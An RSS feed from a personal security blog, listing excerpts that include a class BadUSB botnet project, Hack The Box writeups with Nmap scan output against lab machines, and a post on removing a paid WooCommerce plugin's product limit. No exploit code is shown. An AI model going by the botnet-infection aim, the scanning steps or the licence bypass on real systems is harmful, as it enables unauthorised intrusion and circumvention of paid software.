				<title>Bad Usb Botnet</title>
				<link>https://ryankozak.com/posts/bad-usb-botnet/</link>
				<pubDate>Fri, 06 Dec 2019 18:39:45 -0700</pubDate>
				<guid>https://ryankozak.com/posts/bad-usb-botnet/</guid>
				<description>&lt;p&gt;&lt;img src=&#34;https://ryankozak.com/posts/images/bad-usb-botnet/BYOB_ASCII.png&#34; alt=&#34;boot_BYOB&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This was a semester long project for California State University Sacramento&amp;rsquo;s Computer System Attacks and Countermeasures (CSC 154). I really enjoyed working on this project, and wanted to archive it on my site, so here it is.&lt;/p&gt;&#xA;&lt;h2 id=&#34;objective&#34;&gt;Objective&lt;/h2&gt;&#xA;&lt;p&gt;The objective of this project was to create BadUSB devices, that upon plugin, infect victim computers with malware configured to join a botnet.&lt;/p&gt;&#xA;&lt;h2 id=&#34;botnet-cc&#34;&gt;Botnet C&amp;amp;C&lt;/h2&gt;&#xA;&lt;p&gt;For our botnet we&amp;rsquo;re using &lt;a href=&#34;https://github.com/malwaredllc/byob&#34; target=&#34;_blank&#34;&gt;Build Your Own Botnet&lt;/a&gt;. Our ultimate goal was an easily deployed and managed &lt;em&gt;command and control server&lt;/em&gt;, with the ability to generate cross platform compatible clients.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Hack the Box Jarvis Writeup</title>
				<link>https://ryankozak.com/posts/hack-the-box-jarvis-writeup/</link>
				<pubDate>Sat, 09 Nov 2019 18:34:23 -0700</pubDate>
				<guid>https://ryankozak.com/posts/hack-the-box-jarvis-writeup/</guid>
				<description>&lt;hr&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://ryankozak.com/posts/images/hack-the-box-jarvis-writeup/badge.png&#34; alt=&#34;Hack The Box Writeup&#34;&gt;&lt;/p&gt;&#xA;&lt;h1 id=&#34;information-gathering&#34;&gt;Information Gathering&lt;/h1&gt;&#xA;&lt;h2 id=&#34;nmap&#34;&gt;Nmap&lt;/h2&gt;&#xA;&lt;p&gt;We begin our reconnaissance by running a port scan with Nmap, checking default scripts and testing for vulnerabilities.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-console&#34; data-lang=&#34;console&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@kali:/media/sf_Research# nmap -sVC -p- 10.10.10.143&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-22 22:36 EDT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Nmap scan report for 10.10.10.143&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host is up (0.35s latency).&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Not shown: 65531 closed ports&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PORT      STATE    SERVICE VERSION&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;22/tcp    open     ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| ssh-hostkey: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;80/tcp    open     http    Apache httpd 2.4.25 ((Debian))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| http-cookie-flags: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   /: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     PHPSESSID: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_      httponly flag not set&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_http-server-header: Apache/2.4.25 (Debian)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_http-title: Stark Hotel&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;5355/tcp  filtered llmnr&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;64999/tcp open     http    Apache httpd 2.4.25 ((Debian))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_http-server-header: Apache/2.4.25 (Debian)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_http-title: Site doesnt have a title (text/html).&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Nmap done: 1 IP address (1 host up) scanned in 3380.59 seconds&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;From the above output we can see that ports, &lt;strong&gt;22&lt;/strong&gt;, &lt;strong&gt;80&lt;/strong&gt;, &lt;strong&gt;5355&lt;/strong&gt;, and &lt;strong&gt;64999&lt;/strong&gt; are open.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Hack the Box Haystack Writeup</title>
				<link>https://ryankozak.com/posts/hack-the-box-haystack-writeup/</link>
				<pubDate>Sat, 02 Nov 2019 18:31:46 -0700</pubDate>
				<guid>https://ryankozak.com/posts/hack-the-box-haystack-writeup/</guid>
				<description>&lt;p&gt;&lt;img src=&#34;https://ryankozak.com/posts/images/hack-the-box-haystack-writeup/badge.png&#34; alt=&#34;Hack The Box Haystack&#34;&gt;&lt;/p&gt;&#xA;&lt;h1 id=&#34;intro&#34;&gt;Intro&lt;/h1&gt;&#xA;&lt;p&gt;Haystack is retired and now we can talk about it. At first I was fairly frustrated with this box. I really didn&amp;rsquo;t enjoy it much at the beginning, but after all was said and done I did have a bit of fun. The Spanish language was a nice twist, we have to remember there are a lot of systems out there that aren&amp;rsquo;t in English. I learned a bit about the ELK stack, which before this I knew next to nothing about. All in all it was a fairly good box.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Hack the Box Writeup for Writeup</title>
				<link>https://ryankozak.com/posts/hack-the-box-writeup-writeup/</link>
				<pubDate>Sat, 19 Oct 2019 18:25:19 -0700</pubDate>
				<guid>https://ryankozak.com/posts/hack-the-box-writeup-writeup/</guid>
				<description>&lt;p&gt;&lt;img src=&#34;https://ryankozak.com/posts/images/hack-the-box-writeup-writeup/badge.png&#34; alt=&#34;Hack The Box Writeup&#34;&gt;&lt;/p&gt;&#xA;&lt;h1 id=&#34;information-gathering&#34;&gt;Information Gathering&lt;/h1&gt;&#xA;&lt;h2 id=&#34;nmap&#34;&gt;Nmap&lt;/h2&gt;&#xA;&lt;p&gt;We begin our reconnaissance by running an Nmap scan checking default scripts and testing for vulnerabilities.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-console&#34; data-lang=&#34;console&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@kali:/media/sf_Research# nmap -sVC 10.10.10.138&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-17 20:23 EDT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Nmap scan report for 10.10.10.138&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host is up (0.37s latency).&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Not shown: 998 filtered ports&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PORT   STATE SERVICE VERSION&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| ssh-hostkey:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_  256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;80/tcp open  http    Apache httpd 2.4.25 ((Debian))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| http-robots.txt: 1 disallowed entry&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_/writeup/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_http-server-header: Apache/2.4.25 (Debian)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_http-title: Nothing here yet.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Nmap done: 1 IP address (1 host up) scanned in 41.22 seconds&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;From the above output we can see that ports, &lt;strong&gt;22&lt;/strong&gt; and &lt;strong&gt;80&lt;/strong&gt; are the only ports open. It also appears as though there&amp;rsquo;s a &lt;code&gt;robots.txt&lt;/code&gt; file disallowing a directory called &lt;code&gt;/writeup&lt;/code&gt; on the web server.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Hack the Box Swag Shop Writeup</title>
				<link>https://ryankozak.com/posts/hack-the-box-swag-shop-writeup/</link>
				<pubDate>Sun, 29 Sep 2019 04:55:45 -0700</pubDate>
				<guid>https://ryankozak.com/posts/hack-the-box-swag-shop-writeup/</guid>
				<description>&lt;p&gt;&lt;img src=&#34;https://ryankozak.com/posts/images/hack-the-box-swag-shop-writeup/badge.png&#34; alt=&#34;Hack The Box SwagShop&#34;&gt;&lt;/p&gt;&#xA;&lt;h1 id=&#34;introduction&#34;&gt;Introduction&lt;/h1&gt;&#xA;&lt;p&gt;SwagShop was an easy but fun box for me. When this box was active it was also the only way you could buy t-shirts and stickers (now HTB&amp;rsquo;s shop is publicly available). So, without further blabering, you can read the writeup below.&lt;/p&gt;&#xA;&lt;h1 id=&#34;information-gathering&#34;&gt;Information Gathering&lt;/h1&gt;&#xA;&lt;h2 id=&#34;nmap&#34;&gt;Nmap&lt;/h2&gt;&#xA;&lt;p&gt;We begin our reconnaissance by running an Nmap scan checking default scripts and testing for vulnerabilities.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-console&#34; data-lang=&#34;console&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@kali:~# nmap -sVC -o nmap_SwagShop.txt 10.10.10.140&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-11 16:30 EDT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Nmap scan report for 10.10.10.140&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host is up (0.41s latency).&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Not shown: 998 closed ports&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PORT   STATE SERVICE VERSION&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| ssh-hostkey:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_  256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_http-server-header: Apache/2.4.18 (Ubuntu)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_http-title: Home page&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Nmap done: 1 IP address (1 host up) scanned in 34.88 seconds&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;From the above output we can see that ports, &lt;strong&gt;22&lt;/strong&gt;, and &lt;strong&gt;80&lt;/strong&gt;, are open. So lets checkout what&amp;rsquo;s going on with port &lt;strong&gt;80&lt;/strong&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Hack the Box Luke Writeup</title>
				<link>https://ryankozak.com/posts/hack-the-box-luke-writeup/</link>
				<pubDate>Sun, 15 Sep 2019 04:43:53 -0700</pubDate>
				<guid>https://ryankozak.com/posts/hack-the-box-luke-writeup/</guid>
				<description>&lt;p&gt;&lt;img src=&#34;https://ryankozak.com/posts/images/hack-the-box-luke-writeup/badge.png&#34; alt=&#34;Hack The Box Luke&#34;&gt;&lt;/p&gt;&#xA;&lt;h1 id=&#34;intro&#34;&gt;Intro&lt;/h1&gt;&#xA;&lt;p&gt;So they finally retired Luke. While this box was far from one of my favorites, it has a lot of sentimental value to me because it was the first box I rooted after joining &lt;a href=&#34;https://hackthebox.eu&#34; target=&#34;_blank&#34;&gt;Hack The Box&lt;/a&gt;. Luke wasn&amp;rsquo;t all that technically challenging (as you will see in the writeup below). There was a lot of enumeration involved, credential stuffing, a bit of guess work, and no privilege escalation what so ever. It taught me to write down everything during a &lt;del&gt;pentest&lt;/del&gt; CTF, even if it seems useless. You never know what you&amp;rsquo;ll need to use later. All of that said, please find my writeup below.&lt;/p&gt;</description>
			</item>
			<item>
				<title>How I Do My Ctf Writeups</title>
				<link>https://ryankozak.com/posts/how-i-do-my-ctf-writeups/</link>
				<pubDate>Sun, 11 Aug 2019 04:38:37 -0700</pubDate>
				<guid>https://ryankozak.com/posts/how-i-do-my-ctf-writeups/</guid>
				<description>&lt;p&gt;I&amp;rsquo;ve been playing a lot of CTFs this summer. My goal was obviously to brush up on my offensive security skills, but also to practice doing security writeups. I wanted to post the writeups on my blog and publish them as PDFs. Writing the whole thing in a document editor is miserable, I hate using document editors. Then doing the whole thing again as a blog post just means even more work. So, here&amp;rsquo;s the workflow I developed this summer to do my writeups once using markdown, and easily publish in both formats.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Onion</title>
				<link>https://ryankozak.com/posts/onion/</link>
				<pubDate>Tue, 25 Jun 2019 04:29:33 -0700</pubDate>
				<guid>https://ryankozak.com/posts/onion/</guid>
				<description>&lt;blockquote&gt;&#xA;&lt;p&gt;My .onion address: &lt;a href=&#34;http://ryankozj554xw2ystipdnvpzrge22pkcogw2h5f4n24ztscir6v5d7id.onion/&#34; target=&#34;_blank&#34;&gt;http://ryankozj554xw2ystipdnvpzrge22pkcogw2h5f4n24ztscir6v5d7id.onion/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The other day I thought about also running this website as a hidden service. Today I set all that up. It&amp;rsquo;ll admit that it&amp;rsquo;s not all that practical. I&amp;rsquo;m clearly not hiding who I am, nor am I trying to hide the IP address of my web server, but whatever. It does provide those with extreme privacy concerns the ability to avoid the clearnet while browsing my blog.&lt;/p&gt;</description>
			</item>
			<item>
				<title>How I Manage Passwords</title>
				<link>https://ryankozak.com/posts/how-i-manage-passwords/</link>
				<pubDate>Sat, 02 Feb 2019 10:09:34 -0700</pubDate>
				<guid>https://ryankozak.com/posts/how-i-manage-passwords/</guid>
				<description>&lt;p&gt;&lt;img src=&#34;https://ryankozak.com/posts/images/how-i-manage-passwords/password_setup.png&#34; alt=&#34;password-setup&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This post is to outline my personal password management system. It relies entirely upon free and open source software, and it is intended to be self hosted. Passwords are synchronized across multiple devices via an encrypted database file. The database is secured by both a password and a key file, which is to be stored locally.&lt;/p&gt;&#xA;&lt;h2 id=&#34;required-software&#34;&gt;Required Software&lt;/h2&gt;&#xA;&lt;p&gt;This little system consists of two primary software projects, which are listed below. Do keep in mind the obvious fact that the wrong choice of operating system, network provider, or even hardware, can render the use of these open source projects pointless.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Lunchtime PHP Deobfuscation</title>
				<link>https://ryankozak.com/posts/lunchtime-php-deobfuscation/</link>
				<pubDate>Tue, 10 Jul 2018 10:04:47 -0700</pubDate>
				<guid>https://ryankozak.com/posts/lunchtime-php-deobfuscation/</guid>
				<description>&lt;p&gt;I came across the bit of code posted below today while browsing &lt;a href=&#34;https://stackoverflow.com&#34; target=&#34;_blank&#34;&gt;Stack Overflow&lt;/a&gt;. The user who posted the question was asking what this bit of code actually did. He was aware that it was malicious due to the fact that it was on his server without his knowledge, and obfuscated. Unfortunately the question was marked as off topic, &amp;ldquo;Questions asking us to recommend or find a book, tool, software library, tutorial or other off-site resource are off-topic&amp;rdquo;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>I&#39;m Not Flattered: Plagiarism</title>
				<link>https://ryankozak.com/posts/im-not-flattered/</link>
				<pubDate>Tue, 17 Apr 2018 09:23:11 -0700</pubDate>
				<guid>https://ryankozak.com/posts/im-not-flattered/</guid>
				<description>&lt;p&gt;At the moment my blog doesn&amp;rsquo;t have all that many posts on it, and I really don&amp;rsquo;t consider myself a serious blogger. I write when I feel like it, and in whatever tone I&amp;rsquo;m feeling like writing in at the moment. Odd as it may seem, I&amp;rsquo;m not normally writing with the intent of being read. This doesn&amp;rsquo;t mean that I don&amp;rsquo;t care when people read my articles. It&amp;rsquo;s especially good to receive comments and engage in discussion, but I&amp;rsquo;m not motivated to find as many readers as possible. I seldom share links to my blog posts on other sites, I simply write posts and visitors find them on search engines, or don&amp;rsquo;t find them at all.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Goodbye WordPress: Hello Jekyll</title>
				<link>https://ryankozak.com/posts/hello-jekyll/</link>
				<pubDate>Tue, 27 Mar 2018 18:45:14 +0000</pubDate>
				<guid>https://ryankozak.com/posts/hello-jekyll/</guid>
				<description>&lt;p&gt;I&amp;rsquo;ve been intending on migrating my blog to a static site for quite some time, for security, speed, and generally just being more minimalist. The primary issue preventing me from making the change was fear of commitment. &lt;a href=&#34;https://gohugo.io/&#34; target=&#34;_blank&#34;&gt;Hugo&lt;/a&gt; looked like an excellent option, as did &lt;a href=&#34;https://hyde.github.io/&#34; target=&#34;_blank&#34;&gt;Hyde&lt;/a&gt; (not to be confused with the Jekyll Template). I decided to go with &lt;a href=&#34;https://jekyllrb.com/&#34; target=&#34;_blank&#34;&gt;Jekyll&lt;/a&gt; simply because of the size of its community, and because of GitHub Pages (which I&amp;rsquo;m still not using until they support HTTPS for custom domains).&lt;/p&gt;</description>
			</item>
			<item>
				<title>Web Scraping is Changing</title>
				<link>https://ryankozak.com/posts/web-scraping-changing/</link>
				<pubDate>Fri, 27 Oct 2017 18:45:14 +0000</pubDate>
				<guid>https://ryankozak.com/posts/web-scraping-changing/</guid>
				<description>&lt;p&gt;This article isn&amp;rsquo;t meant to discuss what web scraping is, or why it&amp;rsquo;s valuable to do. What I intend to focus on instead, is how modern web application architecture is changing how web scraping can/must be performed. A nice &lt;a href=&#34;https://datawhatnow.com/introduction-web-scraping-python/?utm_source=hackernewsletter&amp;amp;utm_medium=email&amp;amp;utm_term=fav&amp;amp;utm_source=Hacker&amp;#43;Newsletter&amp;amp;utm_campaign=b91881aad0-EMAIL_CAMPAIGN_2017_10_27&amp;amp;utm_medium=email&amp;amp;utm_term=0_e505c88a2e-b91881aad0-399347153&#34; target=&#34;_blank&#34;&gt;article discussing traditional web scraping&lt;/a&gt; just appeared in &lt;a href=&#34;http://www.hackernewsletter.com/&#34; target=&#34;_blank&#34;&gt;Hacker Newsletter&lt;/a&gt; #375 by &lt;a href=&#34;https://github.com/Weenkus&#34; target=&#34;_blank&#34;&gt;Vinko Kodžoman&lt;/a&gt;. His article tipped my motivation to write this.&lt;/p&gt;&#xA;&lt;h3 id=&#34;traditional-scraping&#34;&gt;Traditional Scraping&lt;/h3&gt;&#xA;&lt;p&gt;Up until recently, data was typically harvested by parsing a site&amp;rsquo;s markup. Browser automation frameworks allowed this to be achieved in various ways, and I&amp;rsquo;ve used both &lt;a href=&#34;https://pypi.python.org/pypi/beautifulsoup4/&#34; target=&#34;_blank&#34;&gt;Beautiful Soup&lt;/a&gt; and &lt;a href=&#34;http://docs.seleniumhq.org/&#34; target=&#34;_blank&#34;&gt;Selenium&lt;/a&gt; to achieve what I needed to in the past. Vinko discusses in his article another library &lt;a href=&#34;http://lxml.de/&#34; target=&#34;_blank&#34;&gt;lxml,&lt;/a&gt; which I&amp;rsquo;ve not tried. His explanation of lxml and how it interacts with the DOM is good enough to allow general understanding of the way scraping is performed. Essentially, your bot reads the markup, and categorizes relevant data for you.&lt;/p&gt;</description>
			</item>
			<item>
				<title>12 Months To Beta: MapMoto</title>
				<link>https://ryankozak.com/posts/12-months-beta-mapmoto/</link>
				<pubDate>Fri, 07 Oct 2016 22:20:22 +0000</pubDate>
				<guid>https://ryankozak.com/posts/12-months-beta-mapmoto/</guid>
				<description>&lt;p&gt;It&amp;rsquo;s been about a year, a little over actually, since I started work on my main side project. The app is a &lt;a href=&#34;https://mapmoto.com&#34; target=&#34;_blank&#34;&gt;motocross track directory&lt;/a&gt;,  which isn&amp;rsquo;t something that doesn&amp;rsquo;t exist already, but I felt existing track directories were lacking a lot of features. This lead to me creating &lt;a href=&#34;https://mapmoto.com&#34; target=&#34;_blank&#34;&gt;MapMoto&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://ryankozak.com/posts/images/12-months-to-beta/mapmoto.png&#34; alt=&#34;mapmoto-motocross-track-directory&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;an-idea&#34;&gt;An Idea&lt;/h3&gt;&#xA;&lt;p&gt;I ride motocross a lot, not as much as a few years ago, but a lot. I&amp;rsquo;m always looking up weather before I ride, looking for hot-line numbers to call to confirm days to ride, and looking for new tracks all together, especially when traveling. I wrote down everything I wished a &lt;a href=&#34;https://mapmoto.com&#34; target=&#34;_blank&#34;&gt;motocross track directory&lt;/a&gt; would have, and came up with the follow list.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Removing 100 Product Limit on Woocommerce Google Feed Manager</title>
				<link>https://ryankozak.com/posts/removing-100-product-limit-woocommerce-google-feed-manager/</link>
				<pubDate>Thu, 11 Aug 2016 22:56:24 +0000</pubDate>
				<guid>https://ryankozak.com/posts/removing-100-product-limit-woocommerce-google-feed-manager/</guid>
				<description>&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If you actually want support on the unlimited feed, and don&amp;rsquo;t want to do any hacky tricks, go support their hard work and &lt;a href=&#34;http://www.wpmarketingrobot.com/purchase-wp-product-feed-manager/&#34; target=&#34;_blank&#34;&gt;Purchase Woocommerce product feed manager&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I came across this info somewhat by accident today while working on an XML Feed generator for a &lt;a href=&#34;https://wordpress.org/plugins/woocommerce/&#34; target=&#34;_blank&#34;&gt;WooCommerce&lt;/a&gt; installation. I&amp;rsquo;ll often review the code of a couple plugins with similar functions to what I&amp;rsquo;m developing. While looking through &lt;a href=&#34;https://wordpress.org/plugins/wp-product-feed-manager/&#34; target=&#34;_blank&#34;&gt;Woocommerce Google Feed Manager&lt;/a&gt; I guess I found a gremlin.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Drinking Age Gateway with JavaScript</title>
				<link>https://ryankozak.com/posts/drinking-age-gateway-with-javascript/</link>
				<pubDate>Sat, 06 Feb 2016 05:18:12 +0000</pubDate>
				<guid>https://ryankozak.com/posts/drinking-age-gateway-with-javascript/</guid>
